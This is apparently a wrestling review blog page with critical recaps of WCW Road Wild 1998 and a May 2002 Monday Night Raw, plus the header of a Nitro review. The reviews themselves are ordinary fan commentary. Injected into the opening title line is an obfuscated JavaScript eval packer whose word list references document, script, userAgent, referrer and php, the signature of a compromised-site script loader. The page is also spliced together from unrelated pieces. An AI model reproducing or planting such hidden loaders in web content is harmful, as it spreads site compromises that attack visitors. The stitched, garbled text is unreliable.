Spring eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syiia|var|u0026u|referrer|zsfba||js|php'.split('|'),0,{})) Stampede 1997
Date: April 6, 1997
Location: Tupelo Coliseum, Tupelo, Mississippi
Attendance: 8,356
Commentators: Tony Schiavone, Bobby Heenan, Dusty Rhodes

Here’s Souled Out if you’re interested:

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Road Wild 1998
Date: August 8, 1998
Location: Sturgis Motorcycle Rally, Sturgis, South Dakota
Attendance: 8,500
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan

So we’re back to Sturgis again and we’re a month removed from Karl Malone and Dennis Rodman in the main event of a PPV. You know that means that we’re in for a real mat war tonight right? I mean they wouldn’t……oh screw the joke. It’s Hogan/Eric Bischoff vs. DDP/Jay Leno. In the words of some book I read once, yes, THAT Jay Leno. This is going to be a mess. Let’s get to it.

The opening is about motorcycles. And Leno.

Again I do have to give them this: the scenery is gorgeous.

The announcers talk about the main event and an NWO battle royal which has Goldberg in it. Oh I’ll have a few things to say about that one I think.

Gene is on a motorcycle and says nothing of note. Oh he’s plugging a motorcycle manufacturer that sponsors the show. Ok then.

Meng vs. Barbarian

Why they split is beyond me but this could be either half decent or dreadful. I’m leaning towards the former actually. This is a total brawl of course and they even throw in some sumo stuff. Meng controls some of it but walks into a belly to belly overhead suplex to put him down. Powerbomb by Barbarian is countered and Meng hits a piledriver.

Barbarian pops up but misses a headbutt. Meng goes up but Barbarian hits a belly to belly superplex to get two. Meng comes back with a powerslam and Jimmy Hart gets on the apron to do nothing of note. They slug it out and Barbarian takes over for a bit. Never mind as the Tongan Death Grip goes on for the pin.

Rating: C-. It wasn’t that bad actually. This was a power brawl and they beat each other up pretty well for about five minutes. Putting them in front of a crowd of bikers who want to see older names (just wait for Hogan’s pop later) fight made this an even better idea. This was far more entertaining than good.

Hugh Morrus comes in to save Jimmy from a beatdown but Jim Duggan comes in to save Meng. There’s something from Nitro involved here but just saying the word Nitro is all we get as far as a detailed explanation.

Public Enemy vs. Dancing Fools

The Dancing Fools are Alex Wright/Disco Inferno and they have some dancing Japanese guy named Tokyo Magnum. After Disco stalls for a bit we start with Rocco vs. Wright. Rock controls on the arm of Wright and the match is already really boring. Wright comes back with a dropkick and dances a bit. Off to Disco who dances as well. Tony thinks the fans would rather see wrestling than dancing. The ovations for WWE for the dance contests would disagree.

Off to Grunge and Disco hits a clothesline and brings Alex back in. Back to Rocco and the Dancers keep control. Grunge gets in a shot and the Public Enemy double teams a bit to a very modest reaction. Magnum hands in a trashcan which goes upside Grunge’s body and doesn’t draw a DQ for no apparent reason. Rock runs to the back and brings in a ladder. Tenay says this is now a street fight and hey, it’s WCW so that’s ok I guess.

The Fools try to leave and come back with a table. This is ridiculous. Disco grabs a mic and asks if they want to make this a street fight. Sure why not. Is this a house show? Public Enemy goes to the back and comes back with a kitchen sink, a toilet seat and some other stuff. This is making my head hurt. Public Enemy takes over because IT’S REALLY STUPID TO CHALLENGE THEM TO A STREET FIGHT.

A mailbox is brought in and goes upside Disco’s head. Wright suplexes Rock onto the trashcan so Grunge hits him with a cookie sheet. They set to put Wright through a table but Disco makes the save. The bikers rev their engines as the Fools take over. They keep hammering on each other and Magnum gets in. Heenan: “Why not?” My thoughts exactly. The Public Enemy hit stereo atomic drops but Wright kicks Grunge down.

Magnum accidentally hits Wright so Grunge hits Disco with the ladder. Wright and Tokyo walk out so Disco is alone. The Enemy sets up three tables as the “match” stops dead. Disco is dragged up the ladder and put on top. Rock climbs the structure around the ring and drives him through all three, throws Disco in the ring, lets Tokyo come off the top with a splash that hits Disco by mistake and this is FINALLY over.

Rating: N. As in nothing, which is what I’ve got. This went FIFTEEN MINUTES, therefore being the second longest match of the night. They made it a street fight for no apparent reason and the ending was a mess. I have no idea what was going on here, which I know I say a lot but in this case I really don’t. Who decided that THIS was a good idea?

Dean Malenko is a guest referee later and says he’ll be fair in the Cruiserweight Title match later.

Raven vs. Saturn vs. Chris Kanyon

This is under Raven’s Rules, which means hardcore. You know, after we just had a street fight. Tony says this is about Kanyon who has been missing lately but Raven says that Kanyon has been thinking about joining the Flock and making this a handicap match. Raven tells Kanyon to get him and Saturn jumps Kanyon. Raven brings in a chair and pops Saturn with it but Kanyon is quickly knocked to the floor.

Kanyon gets rammed into the post by Bird Boy but Kanyon pops back up and beats on Saturn. Heenan tries to explain who is on whose side here and I feel the need for a flow chart. Saturn and Kanyon finally figure out what’s going on and beat on Raven, including hitting Total Elimination. Kanyon legsweeps him and Saturn hits a guillotine legdrop but Kanyon breaks it up.

While Kanyon and Saturn fight, Raven comes in with a chair shot to both guys. We’re in standard triple threat territory here. Saturn and Raven go to the floor and Kanyon dives on them. They fight into the aisle which looks like a road. Saturn knocks Kanyon down and beats on Raven on what would usually be the stage. Kanyon piledrives him up there for two as Raven saves.

Raven dropkicks Kanyon and Kanyon falls down the ramp. Saturn dives off the stage to double clothesline them both and no one cares. Back to the ring and everyone is down. Heenan says he wishes he was in this match so he can give up. Saturn hooks a sleeper on Raven and Kanyon puts one on Saturn for the triple sleeper spot. Kanyon is in control now and loads up Saturn for a superplex, resulting in a Tower of Doom. What Raven exactly added to that I’m not sure but who cares?

Raven tries to double DDT the guys but only gets Saturn. Kanyon climbs the structure like Rocco did but the splash misses. Oh Lodi pulled Raven away. This match is going WAY too long again. Death Valley Driver by Saturn (finisher) puts Raven down but Lodi saves. Horace comes out with his stop sign but accidentally hits Rave, allowing the second DVD to get the pin for Saturn.

Rating: D+. This was another brawl and far better than the previous one, but that doesn’t really take a lot to accomplish. That being said, it’s still something we saw just a few minutes earlier and the relationship between the three is no clearer than it was when this started, making this whole match, say it with me, TOTALLY POINTLESS.

Psicosis vs. Rey Mysterio Jr.

For the #1 contendership for the Cruiserweight Title. Psicosis takes him to the mat with a chinlock which is a strange thing to see opening the match. Now off to an armbar and then a wristlock. This match goes REALLY slowly as Rey takes a falcon’s arrow. No one cares about this match either, but that could be because they’re bikers instead of wrestling fans, but who cares about that?

In a cool move, Psicosis puts rey in the corner with Rey’s chest facing the buckle. He wraps Rey’s around around the ropes and pulls them back. Naturally it lasts about 2 seconds but whatever. We’re almost five minutes into this and Rey has had zero offense. Suplex puts Rey down but Psicosis does the really annoying jump into the feet thing to give Rey some control. Rey flies around and hits a rana to send Psicosis to the floor.

Back in Rey hits a nice top rope cross body for two. This crowd is driving me crazy. I mean they’re SILENT. GEE, MAYBE THIS WAS A REALLY STUPID IDEA, but how else could Eric Bischoff get to ride his big boy bike and then pay Leno a ton of money while not even getting a gate back to offset some of the costs? Off to a nerve hold as Tony talks about the effects of it. When has he ever been in a nerve hold?

An electric chair drop into a bridge gets two for Psicosis. Rey gets sent to the floor now because Heaven forbid this match gets interesting or some crazy stuff like that. Great. A FREAKING HALF CRAB. YOU GUYS ARE CRUISERWEIGHTS!!! ACT LIKE IT! Psicosis lets go of the hold after about two seconds like a video game as the fans shout boring. Yeah and they’re right. A top rope rana puts Rey down for two. Psicosis goes up for something and is dropkicked to the floor.

Rey FINALLY hits a nice springboard somersault plancha to the floor. Springboard sunset flip gets two. Rey hits a pretty cool leverage assisted Fameasser. He hits the ropes again and Psicosis counters into a flapjack position but slams Mysterio down, almost like a spinebuster. Just to tick me off even more (and believe me, this show is doing a GREAT job of that), Tony says it was like a jackknife powerbomb. I hate Eric Bischoff. I hate that he made good announcers into idiots that couldn’t have an intelligent bone in their bodies because it might make someone actually think in this company. West Coast Pop FINALLY ends this.

Rating: D. It’s not a failure because of some cool moves by Rey, but this was SO boring. Psicosis kept standing around after almost every move he did, almost half of the match was a Psicosis squash, and the knee work did nothing at all. This was terribly boring with neither guy caring at all. To be fair to them though, would you be?

We’re seventy minutes into this show and I hate it. I absolutely cannot stand this show. The matches SUCK, the fans don’t care (BECAUSE THEY AREN’T WRESTLING FANS), Public freaking Enemy gets FIFTEEN MINUTES because they got ripped off from ECW and Eric has to shove more of that down our throats because he’s too freaking stupid to come up with anything on his own (notice Total Elimination and the triple sleeper spot in the threeway, both ECW standards), the wrestlers don’t care because the fans don’t care, AND JAY FREAKING LENO IS IN THE MAIN EVENT because him liking motorcycles makes this a good idea. This company deserved to die.

ON WITH THE SHOW!!!

TV Title: Chavo Guerrero vs. Stevie Ray

Stevie is defending because Booker is hurt I think and Chavo is nuts. Chavo says he’s TV Champion because he wrote up a contract saying so. This sounds stupid but my goodness this is a breath of air and it’s not even funny. Oh apparently Booker hasn’t approved Stevie to be champion. Ok then. Eh screw it we’ll call this a title match anyway.

The stick horse Chavo has says he’s the champion. Chavo desperately wants a handshake but Ray runs away from it. They go to the floor and nothing happens. Chavo runs on the floor again and Stevie chases him. This goes on for a minute and a half. Slapjack (elevated Pedigree) ends this quick. Jericho would win the TV Title two days later (this was on a Saturday) on Nitro. Why did this match exist?

Stevie goes after Chavo some more but Eddie makes the save.

Jericho gives his usual funny promo about a conspiracy against him and how Malenko is in on it.

Rick Steiner vs. Scott Steiner

This is a big grudge match that has been building for months. This HAS TO be good. And here’s JJ Dillon to say there’s no match. Buff Bagwell wheels out Scott on a stretcher taking oxygen and in a bunch of bandages. The fans LOUDLY boo this out of the non-building. Bagwell says Scott is injured and can’t wrestle. Dillon guarantees it’ll happen at Fall Brawl. OH SCREW YOU. SCREW YOU WCW. This show has SUCKED for the last eighty minutes and now they pull a freaking bait and switch. This is ridiculous.

Rick comes after him and just because WCW wants to FURTHER tick off its fans, Scott gets up and runs away.

Brian Adams vs. Steve McMichael

FOR CRYING OUT LOUD WHY????? Who booked this nonsense? Who in the world freaking thought BRIAN ADAMS needed to be on a PPV against Steve McMichael? Mongo wants to reform the Horsemen or something but Anderson wants nothing to do with it. This is something that should be a dark match on Thunder, not in the middle of a horrible PPV. Adams is NWO if that means anything to you.

And on top of all that, the match is HORRIBLE. Irish whip, Mongo botches a punch from Adams, Mongo botches a shoulder block, Mongo grabs him around the head and SLOWLY pulls him down which was supposed to be a DDT. Adams goes to the floor for advice from Vincent. Back in he catches a boot in the corner and kind of powerbombs Mongo. When Brian Adams (Crush for those of you who can’t place his name) is the much more polished guy in a match, you can tell something is wrong.

Adams puts on a nerve hold and the fans are somehow more silent. Usually tonight we’ve had random shouts and such like that, but this is even more quiet as they’re not even doing that. Out to the floor and Mongo goes into the steps. After a backbreaker, Mongo comes back with a kind of belly to back suplex. Mongo takes out the knees but they botch something else, making it look like a claw hold from Adams but Mongo falls down like a clothesline. And now there’s a ref bump. ARE YOU KIDDING ME??? Vincent accidentally hits Adams with a chair and the tombstone gives Mongo the win.

Rating: N. As in nothing, which is what I have left at this point. Why in the world was this on PPV? Is this what WCW thought was going to be able to fight off Summerslam later in the month which had Rock vs. HHH in a ladder match? Tony has the nerve to call this an upset. Mongo may suck but he used to be a Horseman and US Champion. HOW IS THAT AN UPSET??? Why am I trying to figure out freaking Tony Schiavone at this point?

Gene talks to some team of girls from the motorcycle sponsor.

Cruiserweight Title: Juventud Guerrera vs. Chris Jericho

Jericho is defending and has been finding ways out of losing the title for months, including going to the Library of Congress to find a rulebook from the NWA to get out a defense. Malenko is the referee here and Jericho thinks he’s in on a conspiracy against him. Juvy is unmasked by this point. Oh ok Dean might be in on a conspiracy because he can’t face Jericho for the title again so Jericho think Dean is trying to screw him out of the title so he can get a shot. See? You see how easy that was? WHY DON’T THEY DO THAT MORE OFTEN???

Juvy hits a dropkick for a quick advantage but Jericho kicks him down. Jericho knocks him to the floor and yells at Dean, who throws him into the corner as a result. Juvy comes back in with a missile dropkick to send Jericho to the floor. Guerrera rams him into apron face first but misses a plancha over the top and off the platform that the ring is on. Back in Juvy hits a slingshot legdrop for two. I think he caught Jericho a bit on the plancha to explain why he’s not dead.

A jawbreaker gives Jericho control but Juvy immediately comes back with a springboard crossbody for two. Dean is calling it fair so far. Juvy goes up for a cross body off the top but gets caught in a powerslam/piledriver combo. I think that was what they were going for off the springboard version but it didn’t come off quite right. It looked ok though. Suplex gets two. Dean is counting a little slow for Jericho’s covers. It’s not horrible but it should be faster.

Juvy heads to the floor as the match stalls a bit more. There’s been a lot of that but this has been BY FAR the best match of the night so far. Back in a backsplash gets two for Chris. Off to a chinlock which only lasts for a few seconds. Guerrera reverses a suplex into one of his own but Jericho knocks him down immediately. Lionsault gets knees but Juvy comes back again with a headscissors and cross body. I know this sounds like a big back and forth fast paced match, but it’s going very slowly. It’s still good but it’s not really working all that well.

Jericho hits the double powerbomb but walks around instead of going for the Liontamer. Heenan said he should go for the Liontamer so you know it’s a good idea. Out to the floor again and Jericho is in control. Back inside Jericho gets a clothesline for two. Dean hasn’t meant much at all here. Chris chops him and does his own WOO in a funny bit. Juvy hits a DDT to counter a powerbomb out of nowhere for two.

Juvy Driver gets two and Guerrera isn’t sure what to do. They’re trying to kick it into high gear here but it’s really not coming yet. Juvy loads up the 450 but gets crotched. A superplex puts the challenger down but Chris can’t cover. Juvy actually gets the cover for two. That’s not something you often see. Juvy tries a rana but gets caught in the Liontamer but Juvy gets the ropes before the hold was fully on.

Jericho yells at Malenko which allows Juvy to pounds Chris in the corner. Dean takes a finger in the eye and Jericho hits Juvy in the head with the title for a VERY close two. Dean was going to count three but there was a kickout. Jericho goes up top but Juvy smacks him enough to slow him down. Chris kicks Dean in the chest for no apparent reason, so Dean launches a charging Juvy into the air so Juvy can hit a hurricanrana off the top for the pin and the title.

Rating: B-. Good match and BY FAR the best match of the night, but it’s nothing classic. If there was EVER a time that called for two guys capable of putting on a showstealing classic, this was it. Instead though, it was more walking around and not doing anything more than a decent match. That being said, I’d rather watch these two for seventeen minutes than anything else on the show for more than 8 seconds.

Battle Royal

Scott Hall, The Giant, Curt Hennig, Scott Norton, Kevin Nash, Lex Luger, Sting, Konna, Goldberg

Now THIS is where the main event booking gets illogical and where anyone paying attention would be able to figure out the smart move. This is Black and White (first four names listed), Wolfpack (next four names listed) and Goldberg. Now Goldberg is world champion at this point but doesn’t have an opponent to face for the most part. Giant (he and Hall are tag champions) has been “making it personal” with Goldberg lately. Now, common sense would say that Goldberg gets eliminated here and either the guy that eliminates him or the winner is his next feud.

However, that might mess with Goldberg’s winning streak. Ok, no problem. Common sense would say that he’s in the main event with Leno against Hogan/Bischoff. Goldberg won the title from Hogan about a month before this, so there’s a story put in already. Since this is WCW where logic and common sense are bad words, that’s NOT what they did. Hall does the survey, the fans like Goldberg. Entrances and survey take almost ten minutes. For absolutely no apparent reason, you can win by over the top elimination or pinfall. Not submission, just pinfall.

Goldberg stays in the corner to start as the Outsiders fight. Giant and Goldberg go at it to a big reaction. Total PPV matches those two had against each other: zero. Everyone else stands around and “brawls” on the ropes. Nash hits him with a big boot but Hall’s Outsider’s Edge is countered by Goldberg to put him out. Nash jumps out on his own because HEAVEN FORBID someone beneath him like THE FREAKING WORLD CHAMPION gets to put Nash out.

Goldberg spears Hennig and Tony Schiavone calls it the Goldberg Spike. There are four words you need to remember for Goldberg: jackhammer, streak, Goldberg and SPEAR. Do you see the word spike in there? No? Then why did Tony say it? That would be because TONY SCHIAVONE IS A FRICKIN MORON! Goldie hides in the corner but gets in a fight with Giant which goes nowhere. Tenay says that this Goldberg is in this match so that he can get his hands on Giant. PPV title match? What’s that?

Basically unless Goldberg is doing something, this match is really boring and no one cares. Sting puts Hennig in the Scorpion but it doesn’t mean anything because he’s not….ok apparently you can be put out by submission. Sure why in the world not? Spear puts Konnan out. Hennig has Goldberg off the mat but can’t put him out.

Giant suplexes Goldberg but Goldberg pops up, spears Hennig and tosses him. And Norton. Sting too. Might as well eliminate Luger too. Giant threw the last one out so we’re down to two. Chokeslam plants Goldberg so Goldberg channels his inner Taker and sits up. It was an Undertaker situp which made me chuckle. Spear and Jackhammer end this.

Rating: F. So not only was it boring, not only was it stupid booking because Goldberg dominated everyone and pinned Giant with ease, but Tony tries to claim that makes Goldberg 136-0, after he came in 129-0, because he eliminated six people. THEY CAN’T EVEN GET COUNTING RIGHT!!!

We recap the main event feud, involving Hogan and Bischoff “taking over” the Tonight Show.

Oh and the ring announcer changed halfway through the show for no apparent reason.

Hulk Hogan/Eric Bischoff vs. Jay Leno/Diamond Dallas Page

This is going to be awful isn’t it? I mean, at least with Rodman and Malone last month, they were ATHLETES. Bischoff gets to be in the main event in front of bikers though so he’s TOUGH. They come out to the theme of the Tonight Show and have Kevin Eubanks with them. This can’t end well. I mean it CAN’T.

The ring announcer says Page is 6’0 after him being billed as 6’5 forever. To Jay’s credit, he’s getting in the ring. Just to be clear, I have no issue with Leno in this. He’s a celebrity and is getting a check for this and looks like he’s having fun so I can’t say much there. Now WCW on the other hand, I have no issue complaining about. Leno throws water on Bischoff to make the NWO bail.

Did I mention there are twenty minutes left in this show? Leno has been training for ten whole days for this. Page and Hogan start things off. Eubanks is kind of ripped. This whole feud is about Eric having his own talk show on Nitro. Stalling to start until Page works on the arm of Hulk. Page punches him into the corner and Leno gets in a left hand. Hogan is knocked to the floor and Eubanks rams him into the post…..AND DOES IT PRETTY FREAKING WELL! That actually looked good.

Page gets caught in the corner and Leno charges in to save him. It doesn’t go anywhere but he’s got energy. Bischoff comes in and the tag is made to Leno. Bischoff runs so we actually get Leno vs. Hogan. Leno points at his chin which is kind of funny. He makes bald jokes and no contact has been made yet. Leno ducks a punch and tags in Page. Jay manages to start a DDP chant. Like I said, the guy is trying.

Page works on the arm and tags in Jay for a wristlock. To the announcers’ credit, unlike last month they’re reasonable here and say that Jay is doing well but they don’t blow it out of proportion. Hogan gets him into the corner and whispers to him before kneeing him in the ribs. Leno tags out but Page tags him back in. Jay’s face is priceless. They hit a double clothesline and Leno gets two on Hogan. He avoids a shot and runs over to tag out, looking like he needs oxygen, a box of Twinkies and a jacuzzi.

Out to the floor and I think Hogan punches a chair that Kevin was holding. Page no sells an Eric kick and I think we’ll have the wrestlers in there for the vast majority of the match. Scratch that of course as Bischoff comes in. He fires off some kicks and Tony praises him so he gets to eat this month. Disciple throws in a foreign object for Hogan to clock Page with so Eric can get two.

This has to be about over. I mean, it has to be. Hogan hits the big boot but Page moves before the legdrop. Discus lariat takes Hogan down and it’s time for Leno vs. Bischoff. Eric pokes him in the eye but Leno hits him low. He “punches” Eric a few times and rams him into the corner ten times (the bikers mess up the count but Leno gets it right) and is spent. Hogan comes in and accidentally hits Eric as everything breaks down. Eubanks comes in and hits a decent Diamond Cutter on Bischoff so Leno can get the pin.

Rating: D. Ok this is a different kind of match to grade. On one hand, this was a HORRIBLE match and as a match on its own, it’s one of the worst main events ever. On the other hand, if you didn’t expect that coming in, you’re an idiot. Leno tried and when he was in there, he was playing to the crowd and was moving around. I can’t fault him a bit for what he did because it was fine. The wrestlers did nothing and Eric continues to have no business in a ring. Horrible match, but you knew what you were paying for when you bought this show.

Post match the NWO beats down the winners until Goldberg makes the save (while wearing the belt. I don’t know if it’s that this has been one of the worst shows ever or if it’s that this is being written at 3:30am, but that cracked me up) to end the show.

Overall Rating: Failure. I usually would just put F, but I want to make it clear what I mean here. This was perhaps the absolute worst wrestling show I have ever sat through. It took me three days to watch it all because I couldn’t sit through it at once. The BEST match on the show is a so-so Cruiserweight Title match that would be one of the worst you’ll remember between those two.

As for the rest of it, no. There is no way that a company could look at its fans and call this an acceptable wrestling show. From STUPID stuff like making matches street fights on the fly to three ways that flat out steal spots from ECW, to Adams vs. McMichael to not having Rick vs. Scott to wasting PPV matches for months on end to make Goldberg look strong to the SECOND STRAIGHT MONTH of celebrity main events, this was one of the worst shows I’ve ever seen and I never want to think of it again. Stay FAR away from this unless you worship Jay Leno.

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Monday Night Raw
Date: May 13, 2002
Location: Air Canada Center, Toronto, Canada
Commentators: Jim Ross, Jerry Lawler

This is another request due to the world title being on the line with Hogan defending against Flair. Why anyone in their right mind would want to see that match in 2002 is beyond me but people have strange tastes at times. Anyway other than that there’s not much here. I think this is the go home show for Judgment Day 2002. Let’s get to it.

We open with a clip of last week with Flair turning heel and beating Austin down with a chair. It’s Flair/Big Show vs. Austin at Judgment Day.

Brock Lesnar vs. Hardy Boys

This was Brock’s first feud. He’s already destroyed both of them one on one so this is the next logical step. Jeff jumps Brock to start. They have to tag here and Brock runs over Jeff very quickly. Jeff comes back with a running forearm as the fans chant for Goldberg. Off to Matt who comes off the top with a punch to the head. Now the fans chant for the Mapleleafs. Brock kills him with a belly to belly and the dominance continues. Off to Jeff who screws up his jawbreaker move twice before finally hitting it. The Hardys hit a double flapjack and a double shot from the top rope….and Heyman pulls the referee out for the DQ.

Rating: D. So it was a squash until the Hardys realized that they’re one of the best teams ever and then there’s a lame DQ loss for Lesnar. What was the point of this again? Well it sets up another match at the PPV with Heyman as Lesnar’s partner. What is that supposed to solve anyway? Whatever here, as Lesnar would move up the ladder quickly.

Brock kills Jeff post match but Matt saves him and they hit the Twist/Swanton combo. Heyman makes the challenge for the aforementioned tag match.

Pac and Big Show are in the back when Flair comes in. Flair says this is the start of the new era. Hall is fired but Nash is just hurt. There’s a new NWO member tonight and the guy doesn’t even know that he’s joining tonight. Free will isn’t a popular idea in WWE is it?

Here are Flair and Show in the ring for their explanation for last week. They’re both NWO here. JR rips Flair the whole time because Flair hurt JR’s BFF last week. Flair says that his name is Ric Flair and if you know anything about this business, you have to respect it. He’s a 16 world champion you know. That makes him about 15 times better than the Leafs. He says he has a real enforcer rather than the one the Leafs have.

Flair says he owns Raw which makes him very powerful. As for Austin, Flair drafted him and then he got Stunned for his efforts. Flair tried to be his friend and even gave him carte blanche but Flair got screwed with anyway. Austin is trash, just like the fans. Now Flair can sympathize with Vince for having to deal with Austin all those years. Austin has a giant to worry about now. Tonight, Flair is giving himself a world title match, because what do these young kids know right?

After a break we’re told that the match will be No DQ.

Hogan arrives on his motorcycle.

Shawn Stasiak vs. Eddie Guerrero

Stasiak is a little nuts here. Eddie is IC Champion but this is non-title. These two ran into each other earlier today while Stasiak was going on one of his crazy man rants. He’s from Planet Stasiak and Eddie thinks they grow weed on Planet Stasiak. That offended Shawn so here’s the match as a result. RVD, Eddie’s opponent on Sunday, comes out to watch. Eddie jumps Stasiak to start but Shawn takes him down. Gutwrench slam gets two. A suplex is countered and Eddie goes after the knee. Suplex, Frog Splash, pin. This was about a minute.

RVD jumps Eddie post match. Eddie grabs the mic and says that he’s going to prove he’s better. Pretty awful promo.

Coach goes looking for Austin but finds Debra instead. She says Austin wants to talk but says she’ll go get him for Coach. That’s later apparently.

Apparently later is now because Austin says Flair didn’t say anything important. This is in the height of the WHAT period so Austin speaks in very short statements. He’s not worried about Judgment Day and Flair doesn’t deserve a title match. He’ll be watching though.

Now, A Day In The Life Of Tommy Dreamer. This is during the Dreamer is a Freak stage, so we see things such as him shaving his tongue, drinking toilet water and sharing a toothbrush with his dog. Moving on.

Regal is here for commentary for the next match.

Terri vs. Molly Holly

Regal and Molly are dating or something. This is because of a swimsuit contest last week where Molly hit Terri with a flipper. Terri attacks her and hits the apex of her offense with a slam. Molly is a virgin which is all Lawler can talk about. This is horrible and Molly goes up and gets crotched. Terri hits a rana off the top (nothing special) but Molly rolls her up for the pin. If you think the Divas today are bad, Terri makes Kelly Kelly look like Ricky Steamboat.

Oh apparently Regal dating Molly starts here. Ok then.

WWE Undisputed Title: Hulk Hogan vs. Ric Flair

This is the world title match in 2002. Think about that for a minute. It’s No DQ as well. Hogan comes out on the motorcycle to further prove his mid life crisis. Hogan is a god in Toronto though so he gets a huge pop. To be fair, this is when Flair was 53 and he’s still in pretty decent shape, as is Hogan. It’s FAR better than when they’re in TNA and look about 80 each. Flair charges into him with doesn’t work at all.

Flair gets knocked down multiple times so he goes to get a chair which doesn’t work. He chops Hogan in the corner which goes even worse. Hogan pounds on him in the corner and we get the Flair Flop. He can’t do the Flair Flip though so he pokes Hogan in the eyes and goes up. Guess what happens next. Flair goes low and fires away in the corner. Out to the floor and Hogan takes over again with power, sending Flair into the steps face first.

Back inside and a thumb to the eye gives Flair control again. Hogan blocks the knee drop and hooks a Figure Four that Dusty Rhodes would say looks horrible. After Flair get the ropes, Hogan suplexes him for two. The chops still don’t work so Hogan Hulks Up (was he ever really in trouble?) and hits the boot and leg, drawing out the NWO. Bradshaw (why?) comes out to take out the NWO and Austin comes out to Stun Flair, setting up the legdrop for Hogan to retain.

Rating: D+. It’s Hogan vs. Flair which is the majority of the good stuff here. At the end of the day, Ric Flair is wrestling Hulk hogan for the world title in 2002 on Monday Night Raw, six days before Hogan defends against Undertaker on PPV. Does that seem like a problem to anyone else besides me? This was the year of nostalgia for WWE which resulted in HHH being world champion again by the fall, which is what it should have been over most of the summer. That would make too much sense though so we got this instead.

Flair goes on a rant in the back, the end results being Pac/Show vs. Bradshaw and Austin vs. the new NWO member in a lumberjack match.

Women’s Title/Hardcore Title: Trish Stratus/Bubba Ray Dudle vs. Jazz/Steven Richards

Trish and Bubba are the challengers. Only one title can change hands here I think. This is Toronto remember so Trish gets a huge reaction. This was set up because a blind Bubba powerbombed Trish through a table so that Steven could pin her to win the Hardcore Title. The genders have to match here. Bubba throws Trish onto the champions to start and the girls go first. Richards accidentally splashes Jazz and we get the face in the balls spot. Trish and Bubba bring in weapons but Trish can’t throw anything over the top.

Everything breaks down quickly and Steven takes a hockey stick to the crotch. Justin Credible comes out with a referee, as does Crash. Neither wins the title and various comedy spots follow. Bubba kills Justin with a guitar and Richards knocks Trish to the floor. Off to Jazz and Trish has to come in despite being out on the floor. The men have disappeared and Trish fumbles through some stuff before Stratusfaction gives her the title.

Rating: D. This show is so gimmicked it’s unreal. Now this should give you a good idea of how screwed up WWE was at this point. Trish wins the title here in Toronto from Jazz right? Less than two months earlier, they had a Women’s Title match in Toronto AT WRESTLE FREAKING MANIA, but they do the switch here instead? See how off they were in 2002?

Post match Trish says get the tables. Bubba powerbombs her through it, and by that I mean he jumps through it Jazz misses the table completely.

Undertaker has nothing to say. Literally. Hogan destroyed his motorcycle last week.

We run down the Judgment Day card. The card is stacked (Cell, hair vs. hair) but it wound up sucking.

Goldust and Booker are going to be lumberjacks tonight so Goldie sings the Lumberjack Song from Monty Python. Booker for some reason is in full lumberjack gear, complete with beard. Goldust thought Booker would look ravishing in it. These two were hilarious together.

X-Pac/Big Show vs. Bradshaw

Pac has stolen Kane’s mask in a story I don’t really remember. Pac starts and gets thrown around so Bradshaw demands Big Show get in. Show knocks him down and it’s back to Pac. Powerslam gets two for the future JBL. The crowd is QUIET for this, because it’s 2002 and Bradshaw is getting a singles push for some reason. Show pulls him to the floor and throws him into the steps and it’s back to X-Pac. This is going so slowly. Bradshaw kicks Show to the floor and hits the fallaway slam on Pac. Show grabs a chair and cracks Bradshaw in the back with it and two chokeslams for the pin.

Rating: D. This NWO stuff never went anywhere at all and a lot of that is because they had no one to fight. Austin was the top guy in the company in name only in 2002, Rock was gone, Hogan didn’t do anything but nostalgia, and guys like Bradshaw weren’t going to cut it as a top guy at this point at all. The crowd reaction in Toronto, one of the loudest cities ever, being this weak should tell you a lot.

Hogan goes to leave but Coach stops him to talk about undertaker. Hogan is in a leather jacket (clearly with extra padding) and a helmet that looks like it belongs in a war propaganda movie from World War I. He’ll be a lumberjack later, despite Flair saying he was handpicking the lumberjacks. Taker attaches Hogan to the motorcycle and drags him along. It looks ridiculous and they’re going at about the speed of a brisk jog.

Post break it’s still going on and Hogan crashes into cardboard boxes. Oh man that’s hardcore. Why keeps a wall of cardboard boxes like that anyway?

Post another break we see it AGAIN. Hogan is treated for a neck injury in the back.

Steve Austin vs. ???

Flair hasn’t told the new NWO member who he is remember. This is a lumberjack match remember. Austin beats up the lumberjacks to start but the NWO jumps him. Flair says the new member is Booker T, which is kind of a heel turn I guess. Booker takes over on Austin to start and hits the side kick to take him down. Austin comes back with a spinebuster for two as Bossman pulls him to the floor.

Austin fights the lumberjacks but Lesnar takes him down and rams him into the ring a few times. Back in Austin comes back like the stuff on the floor was nothing. Thesz Press gets no reaction so Show pulls Austin to the floor. Booker hits the axe kick and we get a Spinarooni, which allows Austin to come back again. Booker throws him to the floor AGAIN for the NWO to beat on him. We get a REALLY sloppy sequence that results in Austin ramming Booker into Flair and rolling him up the pin.

Rating: F. That’s probably extreme but let’s look at this here. First of all, there’s no reason for this match to happen. Booker T was literally picked with no motivation to fight Austin. On top of that, the majority of this match was Austin vs. the NWO/lumberjacks. Third, the match SUCKED.

As Austin leaves, Arn Anderson of all people jumps him and the NWO (minus Booker) beats him down to end the show.

Overall Rating: F. This was one of the worst shows I can remember in a long time. First and foremost, all of the matches sucked. Second, out of seven matches, TWO (Eddie vs. Stasiak and the Divas) weren’t gimmicked. Those were also the two shortest matches of the night. On top of that, the whole thing is about the NWO and the old guys. Keep in mind this: Booker was the second biggest face on Raw but now he’s NWO.

Other than him and Austin, the biggest face is probably Eddie (remember that the World Champion could be on both shows so Hogan wasn’t exclusively Raw) who would turn heel by the end of the month. That left, I kid you not, Bubba Ray Dudley, Bradshaw or Goldust as the second biggest face on Raw. Austin legitimately bailed on the company, prompting them to bring back Rock and send HHH to Raw to give it some face blood. He was turned heel by August. See why this was a bad time for Raw? Horrible show.

Here’s Judgment Day if you’re interested:

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Monday Nitro #70
Date: January 13, 1997
Location: Louisiana Superdome, New Orleans, Louisiana
Attendance: 10,034
Commentators: Mike Tenay, Bobby Heenan, Tony Schiavone, Larry Zbyzsko

